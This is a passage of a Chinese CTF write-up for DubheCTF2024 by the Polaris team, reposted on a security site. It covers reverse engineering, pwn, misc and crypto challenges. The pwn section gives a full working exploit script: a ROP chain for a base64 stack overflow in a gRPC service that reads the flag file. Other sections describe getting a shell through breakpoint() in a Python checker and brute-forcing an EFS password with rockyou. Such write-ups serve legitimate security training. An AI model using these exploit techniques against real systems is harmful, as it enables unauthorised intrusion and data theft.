'n0.java', 't0.java', 'w0.java', 'z0.java', 'c1.java', 'f1.java', 'i1.java', 'l1.java', 'o1.java', 'r1.java', 'u1.java', 'a2.java', 'd2.java', 'g2.java', 'j2.java', 'm2.java', 'p2.java', 's2.java', 'v2.java', 'y2.java', 'b3.java', 'h3.java', 'k3.java', 'n3.java', 'q3.java', 't3.java', 'w3.java', 'z3.java', 'c4.java', 'f4.java', 'i4.java', 'o4.java', 'r4.java', 'u4.java', 'x4.java', 'a5.java', 'd5.java', 'g5.java', 'j5.java', 'm5.java', 'p5.java', 'v5.java', 'y5.java', 'b6.java', 'e6.java', 'h6.java', 'k6.java', 'n6.java', 'q6.java', 't6.java', 'w6.java', 'f7.java', 'i7.java', 'l7.java', 'o7.java', 'r7.java', 'u7.java', 'x7.java', 'a8.java', 'd8.java', 'g8.java', 'm8.java', 'p8.java', 's8.java', 'v8.java', 'y8.java', 'b9.java', 'e9.java', 'h9.java', 'k9.java', 'n9.java', 't9.java', 'w9.java', 'z9.java', 'ca.java', 'fa.java', 'ia.java', 'sub33.java', 'sub32.java', 'sub31.java', 'sub30.java', 'sub29.java', 'sub28.java', 'sub27.java', 'sub26.java', 'sub25.java', 'sub24.java', 'sub23.java', 'sub22.java', 'sub21.java', 'sub20.java', 'sub19.java', 'sub18.java', 'sub17.java', 'sub16.java', 'sub15.java', 'sub14.java', 'sub13.java', 'sub12.java', 'sub11.java', 'sub10.java', 'sub8.java', 'sub7.java', 'sub5.java', 'sub4.java', 'sub3.java', 'sub_1.java', 'sub_0.java']table=['Bundle','package','import','View','/* rena','null) {','view','iew','ew) {']def read_java(name):    java_file_path = name    try:        with open(java_file_path, 'rb') as file:            return file.read();    except FileNotFoundError:        print("File not found.")    except IOError:        print("Error reading the file.")def get_next_file_name(context,next_name,pos):    pattern = next_name    #print(next_name)    match = re.search(pattern.encode(), context)    start_pos = match.start()    content = context[max(start_pos - 650, 0):start_pos-80].decode('utf-8')    lines = content.split('n')    java_file='''    import java.security.InvalidKeyException;    import java.security.NoSuchAlgorithmException;    import javax.crypto.BadPaddingException;    import javax.crypto.IllegalBlockSizeException;    import javax.crypto.NoSuchPaddingException;    import javax.crypto.Cipher;    import javax.crypto.spec.SecretKeySpec;    '''    java_file+=f'class f{pos}'+'{'    def_head=f'public static String f{pos}(String str2) throws NoSuchPaddingException, NoSuchAlgorithmException, IllegalBlockSizeException, BadPaddingException, InvalidKeyException n'+'{n'    java_file+=(def_head)    for line in lines:        x=1        for i in table:            if i in line:                x=0        if x==1:            if 'bundle' in line:                x=line.replace('bundle.putString(str, ','str3=(')                java_file+=x+'n'            else:                java_file+=line+'n'    java_file+=(f'return str3;n')    java_file+=('}n}n')    java_file_name=f'./out_java/f{pos}.java'    #print(java_file)    with open(java_file_name,'w+') as f:        f.write(java_file)def read_encode(name,path,pos):    path=path.replace('java','class')    for root, dirs, files in os.walk(directory):        for file in files:            if file.endswith(".java"):                # 如果文件是以 .java 结尾的,则打印文件路径                #print(file)                if file == name:                    x=(os.path.join(root, file).replace('\','/'))                    data=read_java(x)                    get_next_file_name(data,path,pos)for i in  range(1,257):    read_encode(call_list[i],call_list[i+1],i)
DubheCTF2024 Writeup Polaris战队

导入工程,然后手修一下错误就行

for i in range(1,257):    print(f'str=f{i}.f{i}(str);')
DubheCTF2024 Writeup Polaris战队

最后sha1一下

public void mo2618o0oOO(View view, Bundle bundle) {    super.mo2618o0oOO(view, bundle);    Bundle bundle2 = m6073OoOoo();    String string = bundle2 != null ? bundle2.getString(m6035I11(AbstractC2511Oo0o0.f8425lIIl)) : null;    ((TextView) view.findViewById(AbstractC2512lIIl.f84291l1l)).setText("DubheCTF{" + AbstractC0054oo0OO.m25731l1l(MessageDigest.getInstance("SHA1").digest(string.getBytes(C00591l1l.f808oOoO0)), null, 1, null) + '}');    Toast.makeText(m6101oooOO(), "Congratulations!", 0).show();}DubheCTF{20c21afe96f05b02430a017a550bfce5addb6fe2}

ezVK

int dec(uint32_t* v, uint32_t* key){    unsigned int l = v[0];    unsigned int r = v[1];    unsigned int i = 1;    unsigned int sum = DELTA*40;    while (i <= 40)    {        i++;        unsigned int v112 = ~(l << 3);        unsigned int v114 = l >> 5;        unsigned int v115 = v112 & v114;        unsigned int v117 = l << 3;        unsigned int v119 = l >> 5;        unsigned int v120 = ~v119;        unsigned int v121 = v117 & v120;        unsigned int v122 = v115 | v121;        unsigned int v125 = v122 ^ (~l);        unsigned int v127 = l << 3;        unsigned int v129 = l >> 5;        unsigned int v130 = v127 ^ v129;        unsigned int v131 = v130 & v125;        unsigned int v140 = key[(sum >> 11) & 4] + sum;        unsigned int v141 = ~v140;        unsigned int v143 = l >> 3;        unsigned int v145 = l << 2;        unsigned int v146 = v143 & v145;        unsigned int v147 = ~v146;        unsigned int v148 = v141 | v147;        unsigned int v149 = ~v148;        unsigned int v155 = v131 ^ v149;        r -= v155;        sum -= DELTA;        unsigned int v50 = r << 3;        unsigned int v51 = ~v50;        unsigned int v54 = r >> 5;        unsigned int v55 = v51 & v54;        unsigned int v57 = r << 3;        unsigned int v59 = r >> 5;        unsigned int v60 = ~v59;        unsigned int v62 = v55 | (v57 & v60);        unsigned int v65 = v62 ^ (~r);        unsigned int v67 = r << 3;        unsigned int v70 = v67 ^ (r >> 5);        unsigned int v71 = v70 & v65;        unsigned int v88 = key[sum & 4] + sum;        unsigned int v89 = ~v88;        unsigned int v91 = r >> 3;        unsigned int v94 = r << 2;        unsigned int v96 = ~(v91 & v94);        unsigned int v97 = v96 | (v89);        unsigned int v98 = ~v97;        unsigned int v104 = v71 ^ v98;        l -= v104;    }    v[0] = l;    v[1] = r;    return 0;}int main(){    uint32_t key[] = { 1214346853 ,558265710 ,559376756 ,1747010677 ,1651008801 };        unsigned char dword_7FF7C2D3100110[] =    {      0xAF, 0x72, 0x5B, 0x18, 0xC6, 0xD2, 0x31, 0x06, 0xCC, 0x33,      0x8B, 0xDE, 0x9F, 0xCD, 0xEB, 0x31, 0x33, 0x8B, 0xDB, 0x05,      0xD0, 0x77, 0x8D, 0x0A, 0x11, 0x61, 0x5C, 0x86, 0x35, 0x23,      0x03, 0xBF, 0xA5, 0x28, 0x22, 0x72, 0x57, 0x3A, 0x83, 0xAD,      0x6F, 0x45, 0xC3, 0xB7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00    };    unsigned int* dword_7FF7C2D31000 = (unsigned int*)dword_7FF7C2D3100110;    dec(&dword_7FF7C2D31000[0], key);    dec(&dword_7FF7C2D31000[2], key);    dec(&dword_7FF7C2D31000[4], key);    dec(&dword_7FF7C2D31000[6], key);    dec(&dword_7FF7C2D31000[8], key);    printf("%s", dword_7FF7C2D31000);  }

最后还有一个字节需要爆破一下,大致猜得到是符号,然后就挨个试一下就行。

VMT

程序前面有很多反调试的地方 

需要逐个破解

绕过所有反调试的后 

这里首先会验证传入的字符串的长度 

如果是36位的 ,会改变程序的密钥值

DubheCTF2024 Writeup Polaris战队

后续发现加密算法其实是一个Sm4加密、

DubheCTF2024 Writeup Polaris战队

密钥和密文都是通过动态调试获得

cin = "1234567890abcdefaaaabbbbccccdddd"out1 = "C137638ED9805156D98579453EF02F3DBC84E9D6953C3A34515DD329FFBA1022E882CB89AF38B70AA3553B68A9228BDC"rc = "6A61EF281A7473D6B1B431D0351F7E2242CFB9D6EC4E01EF656D6CF520F142821C7061EB843D5ABE378B394C4DC1298B"cin2 = "aaaabbbbccccddddaaaabbbbccccddddtttt"key =  "4E305468697369533446346B334B3359"out2 = "BC84E9D6953C3A34515DD329FFBA1022BC84E9D6953C3A34515DD329FFBA1022E882CB89AF38B70AA3553B68A9228BDC"for i in cin2:    print(hex(ord(i)),end=',')print()print("key:")for i in bytes.fromhex(key):    print(hex(i)[2:],end='')print()from gmssl import sm3,sm4def sm4_encrypt_or_decrypt(mode, key, data):    if mode == 'encrypt':        cryptor = sm4.CryptSM4(sm4.SM4_ENCRYPT,padding_mode=2)        cryptor.set_key(key, sm4.SM4_ENCRYPT)    elif mode == 'decrypt':        cryptor = sm4.CryptSM4(sm4.SM4_DECRYPT,padding_mode=3)        cryptor.set_key(key, sm4.SM4_DECRYPT)    else:        raise ValueError('Unsupported mode:', mode)    res=cryptor.crypt_ecb(data)    print(res)    return resrkey = b"Pyu0Z8#bC5vqUFgt"#sm4_encrypt_or_decrypt("encrypt",b"1111111111111111",b"1111111111111111")sm4_encrypt_or_decrypt("decrypt",rkey,bytes.fromhex(rc))

PWN

ggbond

先利用 pbtk 提取出 proto 文件

syntax = "proto3";package GGBond;option go_package = "./;ggbond";service GGBondServer {    rpc Handler(Request) returns (Response);}message Request {    oneof request {        WhoamiRequest whoami = 100;        RoleChangeRequest role_change = 101;        RepeaterRequest repeater = 102;    }}message Response {    oneof response {        WhoamiResponse whoami = 200;        RoleChangeResponse role_change = 201;        RepeaterResponse repeater = 202;        ErrorResponse error = 444;    }}message WhoamiRequest {}message WhoamiResponse {    bytes message = 2000;}message RoleChangeRequest {    uint32 role = 1001;}message RoleChangeResponse {    bytes message = 2001;}message RepeaterRequest {    bytes message = 1002;}message RepeaterResponse {    bytes message = 2002;}message ErrorResponse {    bytes message = 4444;}

然后编译

python -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. GGbond.proto 

最后发现切换 role3 后,就是一个 base64 的栈溢出。在靶机不出网的情况下,直接多 nc 一个连接配合异常处理读 flag 即可

exp:

from pwn import *from struct import packfrom ctypes import *import base64from subprocess import run#from LibcSearcher import *from struct import packimport ttydef debug(c = 0):    if(c):        gdb.attach(p, c)    else:        gdb.attach(p)        pause()def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))#-----------------------------------------------------------------------------------------s = lambda data : p.send(data)sa  = lambda text,data  :p.sendafter(text, data)sl  = lambda data   :p.sendline(data)sla = lambda text,data  :p.sendlineafter(text, data)r   = lambda num=4096   :p.recv(num)rl  = lambda text   :p.recvuntil(text)pr = lambda num=4096 :print(p.recv(num))inter   = lambda        :p.interactive()l32 = lambda    :u32(p.recvuntil(b'xf7')[-4:].ljust(4,b'x00'))l64 = lambda    :u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))uu32    = lambda    :u32(p.recv(4).ljust(4,b'x00'))uu64    = lambda    :u64(p.recv(6).ljust(8,b'x00'))int16   = lambda data   :int(data,16)lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))#-----------------------------------------------------------------------------------------context(os='linux', arch='amd64', log_level='debug')#p = remote('127.0.0.1', 23334)elf = ELF('./pwn')import stringimport itertoolsimport refrom pwn import *from hashlib import sha256#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#    # The container will be destroyed after 20 seconds     # or when the 'p' socket connection is closed.    # The Docker container challenge's internal network cannot     # connect to the external network.#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#remote_ip = '1.95.2.225'remote_port = 13337def pow():    p = remote(remote_ip, remote_port)    rev = p.recvuntil(b' == ').decode()    pattern = r'xxxx+([a-zA-Z0-9]+)'    rev = re.search(pattern, rev).group(1)    target_digest = p.recv(64).decode()    characters = string.ascii_letters + string.digits    all_combinations = [''.join(comb) for comb in itertools.product(characters, repeat=4)]    for comb in all_combinations:        proof = comb+rev        digest = sha256(proof.encode()).hexdigest()        if target_digest == digest:            result = comb            break    p.send(result)     p.recvuntil(b' nc ')    rev = p.recvline().decode()    pattern = r'(d{1,3}.d{1,3}.d{1,3}.d{1,3})s(d+)'    result = re.search(pattern, rev)    target_ip = result.group(1)    target_port = int(result.group(2))    sleep(3)    return target_ip, target_porttarget_ip, target_port=pow()#target_ip = "127.0.0.1"#target_port = 23334import grpcimport ggbond_pb2import ggbond_pb2_grpcimport base64def who():  channel = grpc.insecure_channel(target_ip + ':' + str(target_port))  stub = ggbond_pb2_grpc.GGBondServerStub(channel)  request = ggbond_pb2.Request()  request.whoami.CopyFrom(ggbond_pb2.WhoamiRequest())  response = stub.Handler(request)  print("Response from Handler:", response)def Role(ty):  channel = grpc.insecure_channel(target_ip + ':' + str(target_port))  stub = ggbond_pb2_grpc.GGBondServerStub(channel)  request = ggbond_pb2.Request()  request.role_change.CopyFrom(ggbond_pb2.RoleChangeRequest(role=ty))  response = stub.Handler(request)  print("Response from Handler:", response)def mes(data):  channel = grpc.insecure_channel(target_ip + ':' + str(target_port))  stub = ggbond_pb2_grpc.GGBondServerStub(channel)  request = ggbond_pb2.Request()  request.repeater.CopyFrom(ggbond_pb2.RepeaterRequest(message=data))  stub.Handler(request)who()Role(3)rax = 0x4101e6rdi = 0x401537rsi = 0x422398rdx = 0x461bd1syscall = 0x40452cflag = 0x8005cbbuf = 0xC6D520p = remote(target_ip, target_port)rop = b'a'*0xc8rop += p64(rax) + p64(2) + p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)rop += p64(rax) + p64(0) + p64(rdi) + p64(9) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall)rop += p64(rax) + p64(1) + p64(rdi) + p64(7) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall)try:  mes(base64.b64encode(rop))except:  while 1 : pr()

Misc

cipher

附件是一个vhd,所以我们只要知道主密钥,私钥,以及用户登录密码即可,利用advanced efs data recovery

先把vhd挂载到本机,只会扫描key得到主密钥和私钥,之后就是找用户密码即可

后来发现可以爆破,直接利用rockyou字典爆破即可

PS:

后来发现是有密码记录的

DubheCTF2024 Writeup Polaris战队

查看即可得到密码为

superman
DubheCTF2024 Writeup Polaris战队

ezPythonCheckin

DubheCTF2024 Writeup Polaris战队

打开附件知道他验证的逻辑是把我们的输入base64解码再当作py文件执行 ,我们输入base64编码 就行 

这里我们直接输入breakpoint()的base64编码就能进入Pdb模式 ,然后获取shell cat flag就行

DubheCTF2024 Writeup Polaris战队

Crypto

签到

论文题,利用SageMath实现并解决CP-RSA问题。

# 原论文:https://www.iacr.org/archive/asiacrypt2015/94520198/94520198.pdf# 辅助理解:https://eprint.iacr.org/2024/061.pdffrom sage.all import *from hashlib import sha256from subprocess import check_outputfrom re import findallfrom time import timefrom binteger import Binfrom Crypto.Util.number import *def flatter(M):    # compile https://github.com/keeganryan/flatter and put it in $PATH    z = "[[" + "]n[".join(" ".join(map(str, row)) for row in M) + "]]"    ret = check_output(["flatter"], input=z.encode())    return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\d+", ret)))N = 0xbe9ccc83003bedf45421b58377b946f87dfd85be82124dc5d732070d77ef68e0231c3f34dc803a8984de0573db6d83ccea0bd53a885059a10cfa3764c658c4d42c5fa90ecad8573fff8f2c41e513278c59121e42ad83310fb22b4d20e7ada42c76f08891f38c92a1b1aac712bfa7d717a4c4802ed023f12c768972ca1be = 0x5dc97ed7250e57ce6fac4f57885c0538b1ea540fbaca79730470b6b990f7e861adc4c5fee3acdcd9ae9a2834b606ddfae01ade33edfa96a47a0ffc0036a4497a84c38b7cdac20c38fbeta = 0.25  # log(d, N)Gamma = 0.42  # log(g, N)XX = int(ceil(N^beta))YY = int(ceil(N^0.5))t = 10print(f't = {t}')n = 2r = 1r1 = 1r2 = 2y1 = betay2 = 1/2nn = GammaR = [r1, r2]Y = [y1, y2]# checkfor i in range(2):    print(Y[i]/R[i]<nn)PR.<x,y>= PolynomialRing(ZZ)E = int(inverse_mod(e, N-1))def f(i1, i2):    return (E-x)^i1*(N-y)^i2*(N-1)^(max(t-i1-2*i2, 0))my_polynomials = []monomials = set()Is = []for i1 in range(100):    for i2 in range(100):        if 0<=y1*i1+y2*i2<=nn*t:            Is.append([i1, i2, i1+i2])# 排序for tt1 in range(len(Is)-1):    for tt2 in range(tt1+1, len(Is)):        if (Is[tt1][-1]>Is[tt2][-1]):            Is[tt1],Is[tt2] = Is[tt2],Is[tt1]for tt1 in range(len(Is)-1):    for tt2 in range(tt1+1, len(Is)):        if (Is[tt1][-1]==Is[tt2][-1]) and Is[tt1][1]>Is[tt2][1]:            Is[tt1],Is[tt2] = Is[tt2],Is[tt1]print(Is)# 生成shift多项式for each in Is:              i1, i2 = each[0], each[1]    # print(i1, i2)    tmp = f(i1, i2)    my_polynomials.append(tmp)# 构造下三角矩阵:利用偏序known_set = set()new_polynomials = []my_monomials = []# construct partial orderwhile len(my_polynomials) > 0:    for i in range(len(my_polynomials)):        f = my_polynomials[i]        current_monomial_set = set(x^tx * y^ty for tx, ty in f.exponents(as_ETuples=False))        delta_set = current_monomial_set - known_set        if len(delta_set) == 1:            new_monomial = list(delta_set)[0]            my_monomials.append(new_monomial)            known_set |= current_monomial_set            new_polynomials.append(f)                      my_polynomials.pop(i)            break    else:        raise Exception('GG')my_polynomials = deepcopy(new_polynomials)# 构造矩阵:置入多项式系数nrows = len(my_polynomials)ncols = len(my_monomials)L = [[0 for j in range(ncols)] for i in range(nrows)]print(f'矩阵规模:{nrows} x {ncols}')print('my_monomials', my_monomials)for i in range(nrows):    g_scale = my_polynomials[i](XX*x, YY*y)  # f(XX*x, YY*y)    for j in range(ncols):        L[i][j] = g_scale.monomial_coefficient(my_monomials[j])# LLL得到规约系数,联立解方程          L = Matrix(ZZ, L)nrows = L.nrows()L = flatter(L)print('LLL done!')# Recover polyreduced_polynomials = []for i in range(nrows):    g_l = 0    for j in range(ncols):        g_l += L[i][j] // my_monomials[j](XX, YY) * my_monomials[j]  # 消常系数,代入未知量    reduced_polynomials.append(g_l)print('done, next solve d')# 结式h1 = reduced_polynomials[0]h2 = reduced_polynomials[1]# 结式消yg1 = h1.resultant(h2, y)x = g1.univariate_polynomial().roots()if x:    d = x[0][0]    flag = 'DubheCTF{{{:x}}}'.format(d & (2**128 - 1))    print(flag)  # DubheCTF{b896a5fef7abec06cd2e6256be4ba40b}

文末:

欢迎师傅们加入我们:

星盟安全团队纳新群1:222328705

星盟安全团队纳新群2:346014666

有兴趣的师傅欢迎一起来讨论!

PS:团队纳新简历投递邮箱:

[email protected]

责任编辑:@wuyua师傅

DubheCTF2024 Writeup Polaris战队

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月22日17:11:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DubheCTF2024 Writeup Polaris战队https://cn-sec.com/archives/2594052.html

发表评论

匿名网友 填写信息